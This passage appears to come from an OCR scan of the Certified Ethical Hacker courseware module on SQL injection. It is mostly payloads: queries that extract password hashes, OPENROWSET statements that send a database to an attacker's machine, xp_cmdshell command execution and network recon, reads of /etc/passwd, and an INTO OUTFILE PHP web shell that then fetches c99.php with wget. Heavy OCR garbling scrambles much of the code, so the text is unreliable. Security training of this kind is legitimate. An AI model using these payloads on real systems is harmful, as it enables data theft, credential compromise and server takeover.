  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Extract hashes through error messages: ‫ י‬and 1 in ( s e le c t x from temp) -- ‫ י‬and 1 in ( s e le c t s u b s trin g (x, 256, 256) from temp) -- ' and 1 in ( s e le c t s u b s trin g (x, 512, 256) from temp) -- ' drop ta b le temp -- The hashes are extracted using: SELECT password FROM m a s te r. . s y s x lo g in s You then hex each hash: b egin @ charvalue= ' Ox' , @ i=l, @ le n g th = d a ta le n g th (@ b in v a lu e ), Q h exstring = ' 0123456789ABCDEF' w h ile (@i<=@length) BEGIN d e c la re @tempint i n t , Q fir s t in t in t , © secondint i n t s e le c t @tempint=CONVERT (in t ,S U B S T R IN G (0 b in v a lu e ,@ i,l)) s e le c t @ firstin t= F L 0 0 R (@tempint/16) s e le c t 0secondint=@tem pint (0 f i r s t i n t * 16) s e le c t 0charvalue= 0charvalu e + SUBSTRING (0 h e x s tr in g , 0 f ir s t in t + 1 ,1) + SUBSTRING (0 h e x s trin g , 0 s e co n d in t+ l, 1) s e le c t 0i= 0i+ l END And then you just cycle through all passwords. Module 14 Page 2078 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • a '; begin declare 0var v a r c h a r (8000), 0xdatel datetime, Sbinvalue v a r b i n a r y (255), @charvalue v a r c h a r (255), 0i int, ®length int, 0hexstring char(16) set 0var=':‫ י‬select 0xdatel=(select min(xdatel) from m a s t e r .d b o .sysxlogins where password is not null) begin while 0xdatel <= (select max(xdatel) from m a ster.d b o .sysxlogins where password is not null) begin select 0binvalue=(select password from m a s t e r .d b o .sysxlogins where xdatel=0xdatel), 0charvalue = ,Ox', 0i=l, 01ength=datalength(0binvalue), ©hexstring = '0123456789ABCDEF' while (0i<=01ength) begin declare 0tempint int, 0firstint int, 0secondint int select 0tempint=CONVERT(int, SUBSTRING(0binvalue,0i,1)) select 0firstint=FLOOR(@tempint/16) select 0secondint=0tempint - (0firstint*16) select 0charvalue=0charvalue + SUBSTRING (0hexstring,0firstint+l,1) + SUBSTRING (0hexstring, 0secondint+l, 1) select 0i=0i+l end select 0var=0var+' I '+name+'/'+0charvalue from master.dbo.sysxlogins where xdatel=0xdatel select 0xdatel = (select isnull(min(xdatel),g e t d a t e ()) from m a ster..sysxlogins where xdatel>0xdatel and password is not null) end select 0var as x into temp end end — Copyright © by EG-G(ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. Extracting SQL Hashes (In a Single Statement) The following statement is used to extract SQL hashes: begin d e c la re @var v a r c h a r (8000), ®x datel d atetim e , @ binvalue v a r b in a r y (2 5 5 ), 0 ch arvalu e v a r c h a r (2 5 5 ), 0 i i n t , ®length i n t , @ hexstring ch ar(1 6 ) set @ v a r= ':' s e le c t 0 x d a te l= (s e le c t m in (x d a te l) from m a s te r. dbo. s y s x lo g in s where password i s not n u ll) begin w h ile ®x datel < = ( s e le c t m ax(xd atel) from m a s te r. dbo. s y s x lo g in s where password i s not n u ll) begin s e le c t @ b in va lu e = (se le ct password from m a ste r. dbo. s y s x lo g in s where xdatel= @ xdatel) , ® ch arvalu e = 1O x', 0 i= l, @ le n g th = d a tale n g th (@ b in valu e ), @ hexstring = ' 0123456789ABCDEF' w h ile (0i<=01ength) begin d e c la re 0tempint in t, 0 fir s tin t in t, @secondint in t s e le c t @tempint=CONVERT(int, SUBSTRING(@ b in v a lu e ,0 i,1 )) s e le c t 0 firstint= FLO O R (0 tem p in t/1 6 ) s e le c t 0secondint=0tem pint - ( 0 f ir s t in t * 1 6 ) s e le c t 0charvalue= 0charvalue + SUBSTRING ( 0 h e x s t r i n g , 0 f i r s t i n t + l, 1) + SUBSTRING (0 h e x strin g , 0 se co n d in t+ l, 1) s e le c t 0i= 0i+ l end s e le c t 0var=0var+' I ' +name+' / ' +0charvalue from m a s te r. dbo. s y s x lo g in s where x d atel= 0 x d atel s e le c t 0x datel = (s e le c t i s n u l l ( m i n (x d a t e l) , g e td a te ( ) ) from m a s te r. . s y s x lo g in s where x datel> 0 x datel and password i s not n u ll) end s e le c t 0var as x in to temp end end -- Module 14 Page 2079 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Transfer D atabase to Attacker's M achine ‫ ;י‬insert into OPENROWSET ('SQLoledb ‫י ,י‬uid=sa;pwd=Passl23;Ne twork=DBMSSOCN;Address=myIP,80;1, ,select * from mydatabase..hacked_sysdatabases1) select * from master.dbo.sysdatabases — SQL Server can be linked back to the attacker's DB by using OPENROWSET DB Structure is replicated and data is transferred. This can be accomplished by connecting to a remote machine on port 80 '; insert into OPENROWSET(,SQLoledb' , ’uid=sa;pwd=Pass123;Network =DBMSSOCN;Address=myIP,80;', ,select * from mydatabase.. tablel') select * from database..tablel — '; insert into OPENROWSET('SQLoledb',’uid=sa pwd=Pass12 3;Network=DBMSSOCN ;Address=myIP, 80; 1, ,select * from mydatabase.. hacked_sysdatabases' select * ) from user_database.dbo.sysobjects - '; insert into OPENROWSET(,SQLoledb1, insert into OPENROWSET(,SQLoledb’,'uid=sa;pwd=Passl23;Ne twork=DBMSSOCN;Address=myIP,80;',,select * from mydatabase..hacked_syscolumns') select * from user database.dbo.syscolumns — 'uid=sa;pwd=Pass12 3;Network=DBMSSOCN;Addre ss=myIP,80 ; ' ,select * from , mydatabase..table2') select * from database..table2 — /Copyright © by EG-CMMCil. All Rights ReServeiR^production Is Strictly Prohibited. Transfer Database to an Attacker's M achine An attacker can also link a target SQL server database with his or her machine. By doing this, the attacker can transfer the target SQL server database data to his or her machine. Attackers do this by using O PENROWSET; the DB Structure is replicated and data is transferred. This can be accomplished by connecting to a remote machine on port 80. '; in s e r t in to OPENROWSET ( , S Q L o le d b ', ' uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0 ;', , s e le c t * from mydatabase .h ack e d _sysd ata b a se s') s e le c t ‫ י‬from m a s te r. dbo. sysd atab ases -1; in s e r t in to OPENROWSET( , S Q L o le d b ', ' uid=sa;pwd=Passl23;Network=DBMSSOCN;Address=myIP , 80; ' , ' s e le c t * from mydatabase. . h acked _sysd atab ases') s e le c t * from u s e r_ d a ta b a s e . dbo. s y s o b je c ts '; in s e r t in to Module 14 Page 2080 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker OPENROWSET( 'S Q L o le d b ', ‫ י‬uid=sa;pwd=Passl23;Network=DBMSSOCN;Address=myIP , 8 0 ; 1s e le c t * from m ydatabase. . hacked_syscolum ns') s e le c t * from u s e r_ d a ta b a s e . dbo. syscolumns -'; in s e r t in to OPENROWSET( ' SQ Loledb', 'uid=sa;pwd=Passl23;Network=DBMSSOCN;Address=myIP,8 0 ;', m ydatabase. . t a b le 2 ') 's e l e c t * from s e le c t * from d a ta b a s e . . ta b le 2 -- 1; in s e r t in to OPENROWSET( ' S Q L o le d b ', 'uid= sa;pw d= Passl23;N etwork =DBMSSOCN;Address=myIP, 80; ' , 's e l e c t * from m ydatabase.. t a b le l') s e le c t * from d a ta b a s e . . t a b le l - Module 14 Page 2081 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Interacting with the O perating System MySQL OS Interaction There are tw o ways to interact with the OS: IN/llJ jQ I_ e Reading and writing system files from disk LOAD FILE e Direct command execution via remote shell ‫ ״‬union select 1,load_file(‫/י‬etc/passwd1),1,1,1; LOAD DATA INFILE create table temp( line blob ); Find passwords and execute commands Both methods are restricted by the database's running privileges and permissions load data infile ,/etc/passwd' into table temp; select * from temp; SELECT INTO OUTFILE M S SQL OS Interaction exec m aster..xp cmdshell 'ip e o n fig > t e s t . t x t ' -' ; CREATE TABLE tmp (tx t v are h ar(8000)); FROM 't e s t . t x t ' ‫־־‬ BULK INSERT tmp •; begin d eclare @data v are h ar(8000) ; se t @data-'| * ; s e le c t 0data=@data+txt+ ‫ ' | י‬from tmp where tx tO d a ta ; s e le c t @data as x in to temp end — ‫ י‬and 1 in (s e le c t su b strin g (x ,1,256) from temp) — d eclare @var sysname; se t @var = 'd e l t e s t . t x t ‫ ; י‬EXEC m aster..xp cmdshell @var; drop tab le temp; drop tab le tmp Attacker Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. Interacting with the Operating System *‫ ■ ״״‬There are two ways by which an attacker can interact with the operating system. ‫־‬ * 9 Once the attacker enters into the system, he or she can read or write the system file from the disk. e An attacker can directly execute the commands via remote shell. Both the methods are restricted by the database's running privilege and permissions. M ySQL OS Interaction LOAD_FILE 1 union s e le c t 1 ,l o a d _ f i l e ( ' /etc/p assw d ') , 1 , 1 , 1 ; LOAD DATA IN F IL E c r e a te ta b le temp( l i n e b lob ) ; lo a d d ata i n f i l e '/e tc/p a ssw d ' in t o ta b le temp; s e le c t * from temp; SELECT INTO OUTFILE M S SQL OS Interaction '; exec m a s te r..x p cm dshell ' ip c o n fig > t e s t . t x t ' Module 14 Page 2082 -- Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection C REATE ,te s t.tx t' TABLE -- ‫ ; י‬b e g in d e c la r e @ d a ta = 0 d a ta + tx t+ ' te m p ' end and Exam 312-50 Certified Ethical Hacker tm p (tx t 0 d a ta | 1 fro m v a r c h a r (8 0 0 0 )); v a r c h a r (8 0 0 0 ) ; set tm p w h e r e t x t < @ d a t a ; BU LK I N S E R T tm p FROM Q d a t a = '| 1; s e l e c t s e l e c t @ d a ta a s x i n t o -- 1 in (s e le c t d e c la r e §var m a s t e r . . x p _ c m d s h e ll s u b s t r i n g ( x ,1 ,2 5 6 ) sysnam e; 0 v a r ; d ro p set ta b le fro m @ var te m p ; te m p ) -- = 'd e l t e s t . t x t '; d r o p t a b l e tm p -- EXEC FIGURE 14.19: MS SQL OS Interaction Module 14 Page 2083 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Interacting with the F ile System C EH LOAD_FILE() INTO OUTFILE() The LOAD_FILE() function within MySQL is used to read and return the contents of a file located within the MySQL server The OUTFILE() function within MySQL is often used to run a query, and dump the results into a file NULL U N IO N A LL SELECT L O A D _ F IL E ( ' / e t c / p a s s w d ') / * If successful, the injection will display the co n ten ts o f the p a ss w d file NULL ? > ' U N IO N IN T O A LL SELECT O U T F IL E N U LL,N U LL,N U LL,N U LL, ‫?<י‬php s y s te m ($ _ G E T [ "c o m m a n d "] ) ' /v a r /w w w /ju g g y b o y . c o m / s h e ll. p h p ' / * I f successful, it w ill then be possible to run system commands via the $_GET global. The fo llo w in g is an example o f using w get to get a file : http://w ww .juggyboy.com /shell.php?com m and=w get http://w ww .exam ple.com /c99.php Copyright © by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited. I n te r a c tin g w ith th e F ile S y s te m An attacker uses the following functions to interact with the file system: 9 LOAD_FILE(): The LOAD_FILE() function within MySQL allows attacker to readandreturn the contents of a file located within the MySQL Server. © INTO OUTFILE(): The OUTFILE() function within MySQL allows attacker to run a query, and dump the results into a file. N ULL U N IO N A L L SELEC T L O A D _ F IL E ( ' / e t c / p a s s w d ' ) / * If successful, the injection will display the contents of the password file. N U L L U N IO N A L L S E L E C T N U L L , N U L L , N U L L , N U L L < ? p h p s y s t e m ( $ _ G E T [ " c o m m a n d " ] ) ; ? > ' IN T O O U T F I L E ' / v a r / w w w / j u g g y b o y . c o m / s h e l l . p h p 1/ * If successful, it will then be possible to run system commands via the $_GET global. The following is an example of using wget to get a file: h t t p : / /w w w . j u g g y b o y . c o m / s h e l l . p h p ?co m m a n d = w g e t h t t p : / /w w w . e x a m p le . c o m / c 9 9 .p h p Module 14 Page 2084 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Network R econn aissan ce U sing SQL Injection Assessing Network Connectivity J CEH Gathering IP information through reverse lookups Server name and configuration ' and 1 in (select — ' and 1 in (select srvnam e from m a s te r . . s y s s e r v e r s ) — Reverse DNS J NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb, traceroute? Reverse Pings J Test for firewall and proxies @@servername ) ‫ ; י‬e x e c m a s te r ..x p _ c m d s h e ll , n s l o o k u p a .c o m M y I P ' — ' ; e x e c m a s te r ..x p _ c m d s h e ll , p in g 1 0 . 0 . 0 . 7 5 ' — OPENROWSET Network Reconnaissance J ’ ; s e l e c t * f r o m OPENROWSET( 1S Q L o l e d b ', , u i d = s a ; p w d = P a s s l2 3 ; N e tw o rk = D B M S S O C N ; A d d re s s = 1 0 . 0 . 0 . 7 5 ,8 0 ; ' , , s e le c t * fro m t a b l e ') You can execute the following using the command: xp_cmdshell J Ipconfig /all, Tracert myIP, arp -a, nbtstat -c, netstat -ano, route print M l ....M ....M M i ....M - - ■ A ttack er O S Shell Local N e tw o rk Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. N e tw o rk R e c o n n a is s a n c e U sin g SQL I n je c tio n Assessing Network Connectivity Attacker assesses network connectivity to find out the server name and configuration in order to find out information about the network infrastructure; for this attackers use various tools like NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb, Trace route, etc. All the firewalls and proxies are also tested. a Server name and configuration' and 1 in (select @@ servernam e ) and 1 in (select srvname from master..sysservers ) © NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb, Trace route? Q Test for firewall and proxies Network Reconnaissance Network reconnaissance is used to gather all the information about the network and then to check for vulnerabilities present in the network. You can execute the following using the xp_cmdshell command: Ipconfig /all, Tracert myIP, arp -a, nbtstat -c, netstat -ano, route print Gathering IP information through reverse lookups Module 14 Page 2085 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker An attacker uses the following techniques to gather IP information through reverse lookups: 9 Reverse DNS: When the web server logs are being processed, reverse lookup is used to determine names of the machines accessing the server and also where the users are from, etc. exec m a s t e r . . x p _ c m d s h e ll 1n s l o o k u p a . com M y I P ' - Q Reverse Pings: Code for the reverse ping is: '; exec m a s te r. . xp_cm dshell 'p in g 1 0 .0 .0 .7 5 ' -- Q OPENROWSET: OPENROWSET provides a way to use data from a different server in a SQL server statement. It is also helpful to connect to data source directly through OLE DB directly without necessity of creating a linked server. ' ; s e le c t * from OPENROWSET( 'S Q L o le d b ', 'uid = sa; pwd=Passl23; Network=DBMSSOCN; Address=10. 0 . 0 . 75, 80; ' , 's e l e c t * from t a b l e ') Module 14 Page 2086 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Network R econn aissan ce Full Q uery o o CEH (•rtifwd itkitjl http://www.juggyboy.com J declare @var varchar (256); set @var = 1 del test.txt ss arp -a » test.txt ss ipconfig /all » test.txt ss nbtstat c » test.txt s s netstat -ano » test.txt ss route print » test.txt ss tracert -w 10 -h 10 google.com » test.txt1; EXEC master..xp_cmdshell Qvar — J '; CREATE TABLE tmp FROM ,test.txt’ — J begin declare ®data varchar(8000) ; set @data=': ' ; select @data=@data+txt+‫ י‬I ‫ י‬from tmp where txt<@data ; select Sdata as x into temp end — j ' and 1 in (select substring (x,1,255) from temp) — j declare @var sysname; set @var = ,del test.txt'; EXEC master..xp_cmdshell Gvar; drop table temp; drop table trap — (txt varchar (8000) ) ; BULK INSERT tmp I N ote: M icroso ft has disabled x p _ c m d s h e ll by defa ult in SQL Server 2005/2008. To enable this feature EXEC s p _ c o n f i g u r e ' x p _ c m d s h e l l ' , 1 GO RECONFIGURE Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. Network Reconnaissance Full Query Network reconnaissance is used for testing potential vulnerabilities in a computer network. Besides many uses, it has limitations where it is more prone to being hacked. Network reconnaissance is one of the major network attacks. Network reconnaissance can be reduced to some extent but can't be stopped completely. Attackers use various network mapping tools such as Nmap and Firewalk to determine the vulnerabilities of the network. Network reconnaissance could not only be external but also internal. d e c la r e 0var v a r c h a r (2 5 6 ); set Q var = ' del te s t.tx t && a r p -a » te s t.tx t && i p c o n f i g / a ll » te s t.tx t && n b t s t a t - c » te s t.tx t && n e t s t a t - a n o te s t.tx t && r o u t e p r in t » te s t.tx t && t r a c e r t -w 10 - h 10 g o o g l e . c o m t e s t . t x t 1; E X E C m a s t e r . . x p _ c m d s h e l l @ v a r - '; '; C REATE TABLE b e g in tm p d e c la r e @ d a ta = @ d a ta + tx t+ ' e n d -' and 1 in '; d e c la r e 0 v a r ; d ro p (tx t (s e le c t | v a r c h a r (8 0 0 0 )); @ d a ta ' fro m v a r c h a r (8 0 0 0 ) tm p w h ere s u b s t r i n g ( x ,1 ,2 5 5 ) IN S E R T ; tx t< 0 d a ta fro m 0 v a r sysnam e; s e t 0 v a r = ,d e l t a b l e t e m p ; d r o p t a b l e tm p - Module 14 Page 2087 BU LK te m p ) set ; tm p FROM @ d a t a = ': s e le c t @ d a ta ,te s t.tx t' ' as ; x » » -- s e le c t in t o te m p -- t e s t . t x t '; EXEC m a s t e r . . x p _ c m d s h e ll Ethical Hacking and Countermeasures Copyright © by EC-C0UllCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Note: Microsoft has disabled feature: EXEC by default in SQL Server 2005/2008. To enable this x p _ c m d s h e ll s p _ c o n fig u r e ' x p _ c m d s h e ll' , 1 GO R E C O N F IG U R E 0 (1 1 ® http://www.juggYboy.com G O j ‫; י‬ d e c la r e a rp c -a » >> @ var v a r c h a r ( 2 5 6 ) ; te s t.tx t te s t.tx t te s t.tx t && && && n e t s t a t tra c e rt CREATE FROM j TABLE tm p -w -a n o 10 (tx t b e g in d e c la r e @ d a ta ' 10 d e l te s t.tx t te s t.tx t te s t.tx t && g o o g le .c o m && ro u te » && n b ts ta t p r in t - » t e s t . t x t '; — v a r c h a r (8 0 0 0 ) s e le a t j = » v a rc h a r(3 0 0 0 )) ; 0 d a ta = @ d a ta + tx t+ ‫י‬ @ d a ta 1 and -h » Jvar @ var /a ll B U LK IN S E R T tm p ‫י‬te s t.tx t1 — s e le c t j set ip c o n fig EXEC m a s t e r . . x p _ a m d s h e ll J ‫נ‬ 1 in d e c la r e as x in to ( s e le c t @ var ' te m p fro m end ; tm p set @ v a r; @ var d ro p se t @ d a t a = ': w h e re ' tx t< 0 d a ta ; ; — s u b s t r in g ( x , 1 ,2 5 5 ) sysnam e; m a s t e r . . x p _ c m d s h e ll | = ta b le fro m ,d e l te m p ) -- te s t.tx t‫; י‬ te m p ; d ro p EXEC ta b le tm p - - FIGURE 14.21: Network Reconnaissance Full Query Module 14 Page 2088 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Module Flow 4 V CEH M odule Flow — ‫— /י‬ Attackers can also make use of tools to perform SQL injection attacks. These tools help attackers carry out various types of SQL injection attacks. The SQL injection tools make the attacker's job easy. SQL Injection Concepts t</ * Testing for SQL Injection Types of SQL Injection Advanced SQL Injection f ^ SQL Injection Tools ) Evasion Techniques -J ( 1‫ ן‬Blind SQL Injection - y y— Countermeasures SQL Injection Methodology This section lists and describes different SQL injection tools that attackers can use to commit attacks. Module 14 Page 2089 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection SQL Injection Tool: BSQLHacker c (•rtifwtf EH ithnai M * ath• IL (Blind SQL) Hacker is an automated SQL Injection Framework / Tool designed to exploit SQL injection lerabilities virtually in any database BSQL Hacker v0.9.0.9 ‫ ־‬Beta but Getting There! Fie ji J Templets Injection / Injection Wizard j C^ ccjd jmport ►Start 3< Delecbon Edit Stop MSSQL Requeel 1 * * * o n | @ Dttecscn Type ‫־‬ Exploits - ✓ lest Injection is j E-tscied D ta a e a bs Sea‫ ־‬Ea»3 Tim Based | D w BW Based Ercr Baaed ch « xJ C EirxBaaed > S n t1 / S rchB s d < a re ea a e O T eB a d im a e C O e Bhd eo BSQL Hacker V0.9.0.9 - Beta but Getting Thete! ‫ם‬ Help Fie A Jerrplatts Injection jmpcrt ✓ injection Wizard » Start V C**eoort 'a ga UR. Edit Exploits Stop “ a MSSQL :«etect‫׳‬on - • Peaue*: I h«ct»on Help Setti-gs ’ Exacted D atabase ttQ V /n n .Q00&Q0n D eterm Wferencee Autom ine ates•? K 4 *HTMlxMEADxnwta cortori• ',cxJ/ltH oharget^jtf 8"> TlTL£> < 302 M ov*d</TITLE> /H D < D < 1 3 2 M < EA > BO Y> H > 0 o*«d< /HI>The d «ovtd<A </800Yx/HTML> ** a | H E -m/vwQ<.0jTnS> RF ‫ ־‬p *» .90N 0n*< / X A Web P r » v ^ 7> ‫ ״‬HTML : ] *ep*c*‫׳‬on Log 0) St 3 3 8- 2 1 0 21 St3 • 0 2 1 132 2 St 3 • 0 •2 1 3 2 21 St31 3 2 2 1 0 2 St 3 - 0 - 2 1 3 2 21 St 3 3 2 2 1 2 0 2 5 3 -32- 2 4 2 0 21 St 3 3 2 2 1 2 0 2 St 3 -32- 2 2 0 21 St1 - 0 - 2 23 221 < T L:> M D < n Ntp♦ H M < EA > x eta quo‫׳‬ co‫׳‬tor<. ',od-hH 0Nx9ct«jtf 8'> T1TLE> < 302 M oved< /TITLE> c/’HEADxBODY><H1>302 M oved< 1 The doem /H > nent «»vtd<A HREF«>«py,Ww.ooo<N.oo </800Yx/HTML> M 6 *Ht r »‫ ק‬aoy HTML Attack Succtffufty Fmnhcd! Attack SuccesfuMy Finished! h :/ la s o u .c .u ttp / b .p rtc llis o k Copyright © b y EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited SQL In je c tio n Tools: BSQ LH acker Source: http://labs.portcullis.co.uk BSQL (Blind SQL) Hacker is an automated SQL injection framework/tool that allows attackers to exploit SQL injection vulnerabilities virtually in any database. Its feature includes: © Fast and multithreaded © 4 different SQL injection support: © Blind SQL injection © Time-based blind SQL injection © Deep blind (based on advanced time delays) SQL injection © Error-based SQL injection © Can automate most of the new SQL injection methods those relies on blind SQL injection © RegEx signature support © Console and GUI support Module 14 Page 2090 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker 9 Load/save support 9 Token/Nonce/ViewState etc. support b Session-sharing support Q Advanced configuration support Q Automated attack mode, automatically extract all database schema and data mode : I- 1 I * ! ° BSQL Hacker v0.9.0.9 ‫ ־‬Beta but Getting There! F3e Templates Injection — icJ ✓ Injection Wizard ^ V Dashboard Cetecton Detector Type C Import Edit Exploits > Start Search Based ‫ ^ ״‬Test Injection Settings | I Bdra^ted Database Time Based | Deep Bhnd Based | Eror Based E ra Based 9 ® S* ratvxo/ Scorch Based C 0 r BSQL Hacker v0.9.0.9 ‫ ־‬Beta but Getting There! Help ‫ י‬Stop MSSQL - r Request 4 Irjecfron O > Fie & A Template} Injection / ‫ ־‬Injectton Wizard ./ Dashboard Target URL Import ► StartStop Edit Exploits ‫ע־ד‬ Help MSSQL . « Detection -‫ *־‬Request & Injection O Settings < : I Ext-acted Database |http /Aww google com Status Determine Deferences ^Jtomatcaly Tme Based C D*oo Btnd Postion Max Length 100 Request Count 9C4 0 Other Setfrgs □ Fofcw Rq eth to e u s is ry 54 3 -302-221 1 54 3 302 2 1 1 2 54 3 302 2 1 1 2 54 3 302 2 1 1 2 54 3 302 2 1 1 2 54 32-302-221 54 32-302-221 5432-302-221 54 32 -302 -2 1 2 5432 -302 2 1 2 @ yvaoie ‫־‬istory Speed 28 391/$ Tune 00:00:31 n ‫.......־‬y ............................................ Request history > HTML>cHEAD>aneta http-equw‫"" י‬contenttype contert *'ert/html .charset•utf-8“><TITLE< 302 Moved</TITLE>c/HEAD><BODr>cH1 >302 Movedc/Hl>Thedxvnert .> moved<AHREF-"http ://www google.co in/'>here</A has BODY></HTMl/< < > . Web Preview"] ij^ H T M L j[~Raw Request | /ftppfc=abor Log (1) Preview 5431-302-221 54 31-302-221 54 31-302-221 543 302 2 1 1 2 54 3 -302 -2 1 1 2 54 32 -302 -2 1 2 54 32-302-221 54 32-302-221 54 32 -302 -2 1 2 54 32 -302 -2 1 2 <HTML:><HEAD>aneta Ntp-equw*"ecrtentt}pe'' content “',lert/htrH.charset«urf-8‘'xTlTLE>302 Movedc/TITLEx/HEADxBODVxHI >302 Moved</H1>The ckxxjnert has moved<AHREF-"http ://www google W " dhere< > /A . @ snaole Hrtory .0 0 <B D TM / 0 Yx/H L> Web Preview < ‫ ״‬HTML > Raw Request | /oofccabor Log 0 0 Attack Succesfu l> Finished! Attack Succesfully Finished! FIGURE 14.22: BSQLHacker Screenshot Module 14 Page 2091 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection Tool: Marathon m J i ^ ^ r cu V tH Urt‫׳‬fW ItkKjl N Im < m Using Marathon Tool, a malicious user can send heavy queries to perform a Time-Based Blind SQL Injection attack Database Schema extraction from SQL Server, Oracle and MySQL Parameter Injection using HTTP GET or POST SSL support HTTP proxy connection available Authentication methods: Anonymous, Basic, Digest and NTLM http://m arathontool. codeplex. com Copyright © by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited. SQL I n je c tio n T o o ls: M a r a t h o n T ool ------ Source: http://marathontool.codeplex.com Marathon Tool is a POC for using heavy queries to perform a time-based blind SQL injection attack. Application Su p p o r te d feat ure s: © Database schema extraction from SQL Server, Oracle, and MySQL © Data extraction from Microsoft Access 97/2000/2003/2007 databases © Parameter injection using HTTP GET or POST © SSL support © HTTP proxy connection available © Authentication methods: Anonymous, Basic, Digest, and NTLM © Variable and value insertion in cookies (does not support dynamic values) © Configuration available and flexible for injections Module 14 Page 2092 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Marathon Tool (version 0.1.3.10) File Help Configuration | Database schema | Debug log Basic configuration Database engrte ® Microsoft SQL Server Target base URL: Get O Post □ http ://www/google com/ SSL ! OK Injection options Min. heavy query time 4500 : Repeat tests count: HTTP request timeout 5000 : Min joins for quenes Pause after heavy query: 5000 : Pause after any query 250•: Heavy quenes tables Max jonsfor quenes 2 0 3 C 1: 5 sys databases, sysusers □ Enable equal »gn in selects Start injection Initialize G < FIGURE 14.23: Marathon Screenshot Module 14 Page 2093 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker S Q L I n j e c t i o n T o o l: S Q L P o w e r In je c to r C EH Fit U Cookie Fpr Load Page Tools ? se ■ « [GEnhnpiJiiuaNimriNDiMtaRh 1 Cookie Paramctere Add Vdiyingskinq Eadirx) sftmu I> r l« 1u* 1 00>%28SELECT.L£N X28X2S»%26 Uwl*-1&c op‫-י*!***■־‬UTF-Mli-vtM-TOa^.-fCwA-wHx.-O-iVF^XXWuV/^rtyl TS,FUM*lvN2JiicSbW91UDijHK}»j la true p-«250>%28SELECT<LENX28 X29<%2Sloaalo>1&coo‫־‬M S & « ‫ ־‬UTF 8*fr-yt> 17041vc-FCoafaoaltoc-d-kVFaXWrfuWTtm* TV3FNrMPJvN2fncSbW9IUDpHKhu la true p-’ 125>X28SELECT‘ LEN%28 X29<2etooalo-1&co<>-ms&«-UTf: 8*fr-A> 1 700*c-■fCoatoc.1toc-d-kVFaXI< 4uW 4 TV3FMrMPJvN2fncSbW9IUDpHKhu > 7tm I. true p-«6?>X?8SI 11(. I tl I ti'/./&'+./$• ~/Mr>fl0lr- I Hr op-‫י« ז ׳‬An-I I 1 ‫י‬ 1 AMAve- p.ontora] Ipc-d-fcV» 1 » « ‫״‬W 4_I V>l‫ ־‬rM * /V> N f1’Jv«^rTr.,*> D DpHIKhun W II Itliu r •p-*!!1>%y8SI II CI •I I N%28%79*%7Clo9glr-1Acap_fl1»»£««-Ulf -8AI! -y4p-+ M w |( 'a1A J I!* -A & jr-% «J0(M‫״‬W/fcn4_I V d U M rJvN * ‫' ״‬I1W91IQpHI■ U i i u « - p % 2 8 < ‫־‬SELECT»LENV.2S%29«%2CUxigl»1‫;(& ־‬op-nw«A«-UTF-Mf<-HlM-XMiM 15* c-fC«jluw1IU--<HlW4)4(MuW»M TV«PN M > IPJ»N 21111SU^11JD|> HII01ta> la true p % 2 8 < > SELECT•LENX28X29 •‫ ־‬t26100010-tAeop-mM&c«-<JTF SAfr-yfc I 704&wc-fCodoon] fpc-d-kVFi»<MAV7T‫״‬rf 